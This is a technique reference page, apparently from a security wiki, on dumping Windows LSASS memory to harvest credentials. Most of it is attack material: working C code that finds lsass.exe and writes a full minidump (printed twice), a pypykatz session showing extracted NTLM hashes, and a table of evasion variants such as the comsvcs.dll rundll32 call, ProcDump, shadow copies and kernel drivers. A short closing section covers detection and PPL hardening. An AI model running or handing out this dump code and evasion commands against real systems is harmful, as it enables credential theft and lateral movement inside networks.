LSASS Memory Dump
Overview
lsass.exe caches authentication material for every interactive and network session on a
Windows host: NTLM hashes, Kerberos tickets, and — when WDigest is enabled — cleartext
passwords. Dumping it gives an attacker a local credential store they can take offline, crack,
or use directly for lateral movement.
Because the technique is so well-known, every tier of the Windows security stack now has
detection or prevention for it: Sysmon EID 10, ASR rules, Protected Process Light, Credential
Guard. None of these are universal — each has a bypass — but the combined effect is that a naive
MiniDumpWriteDump is caught within seconds on a hardened host.
On hosts with Credential Guard enabled, NTLM hashes and Kerberos material are stored in an
isolated VTL1 process (LsaIso.exe). Even a successful LSASS dump returns no useful
credentials. The attack surface shifts to TGT abuse and DCSync.
The call chain
- 1OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)Acquire a handle to lsass.exe — this handle open is the loudest, most-logged step.
- 2MiniDumpWriteDumpWrite a full process minidump to disk or to a pipe for in-memory extraction.
- 3(optional) parse dump offlineRun Mimikatz or pypykatz against the minidump file on an analyst box, outside the target.
Reference implementation
Standard dump (MiniDumpWriteDump)
#include <windows.h>
#include <dbghelp.h>
#include <tlhelp32.h>
#pragma comment(lib, "dbghelp.lib")
static DWORD find_lsass_pid(void) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { .dwSize = sizeof pe };
DWORD pid = 0;
if (Process32FirstW(snap, &pe))
do {
if (!_wcsicmp(pe.szExeFile, L"lsass.exe")) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return pid;
}
void dump_lsass(const wchar_t *outpath) {
DWORD pid = find_lsass_pid();
if (!pid) return;
// SeDebugPrivilege is required — assumes already elevated
HANDLE proc = OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
HANDLE file = CreateFileW(outpath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
MiniDumpWriteDump(proc, pid, file,
MiniDumpWithFullMemory,
NULL, NULL, NULL);
CloseHandle(file);
CloseHandle(proc);
}#include <windows.h>
#include <dbghelp.h>
#include <tlhelp32.h>
#pragma comment(lib, "dbghelp.lib")
static DWORD find_lsass_pid(void) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { .dwSize = sizeof pe };
DWORD pid = 0;
if (Process32FirstW(snap, &pe))
do {
if (!_wcsicmp(pe.szExeFile, L"lsass.exe")) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return pid;
}
void dump_lsass(const wchar_t *outpath) {
DWORD pid = find_lsass_pid();
if (!pid) return;
// SeDebugPrivilege is required — assumes already elevated
HANDLE proc = OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid);
HANDLE file = CreateFileW(outpath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
MiniDumpWriteDump(proc, pid, file,
MiniDumpWithFullMemory,
NULL, NULL, NULL);
CloseHandle(file);
CloseHandle(proc);
}Parse offline with pypykatz
# copy lsass.dmp to analyst box, parse without running anything on target $ pip install pypykatz $ pypykatz lsa minidump lsass.dmp INFO:root:Parsing file lsass.dmp FILE: ======== lsass.dmp ======= == LogonSession == authentication_id 123456 (1e240) session 1 username Administrator domainname CORP logon_server DC01 == MSV == [0] Primary * Username : Administrator * Domain : CORP * NT : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c == DPAPI == * masterkey : ...
# copy lsass.dmp to analyst box, parse without running anything on target
$ pip install pypykatz
$ pypykatz lsa minidump lsass.dmp
INFO:root:Parsing file lsass.dmp
FILE: ======== lsass.dmp =======
== LogonSession ==
authentication_id 123456 (1e240)
session 1
username Administrator
domainname CORP
logon_server DC01
== MSV ==
[0] Primary
* Username : Administrator
* Domain : CORP
* NT : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
== DPAPI ==
* masterkey : ...Evasion variants
| Technique | Principle | Detection delta |
|---|---|---|
MiniDumpWriteDump to a pipe |
Dump never touches disk | Still needs PROCESS_VM_READ handle |
NtReadVirtualMemory directly |
Avoids dbghelp.dll import |
ETW-TI still logs cross-process reads |
ProcDump -ma lsass |
Signed Microsoft binary | Binary allowlist bypass; Sysmon still logs |
| Shadow copy / Volume Shadow | Read lsass.DMP from a VSS snapshot |
No handle to live process; needs admin |
Comsvcs.dll MiniDump via rundll32 |
rundll32.exe comsvcs.dll,MiniDump <pid> |
Signed binary proxy; well-known bypass |
| Kernel driver direct read | Bypass PPL from Ring 0 | Requires signed or exploited driver |
The common thread: every variant that reads live LSASS memory must open the process with
PROCESS_VM_READ, and that handle open is recorded by EID 10 regardless of which API follows.
Detection
PPL is the highest-ROI preventive control. Enable it via HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 2
and confirm with !process 0 0 lsass.exe in WinDbg — the protection level field should read PsProtectedSignerLsa-Light.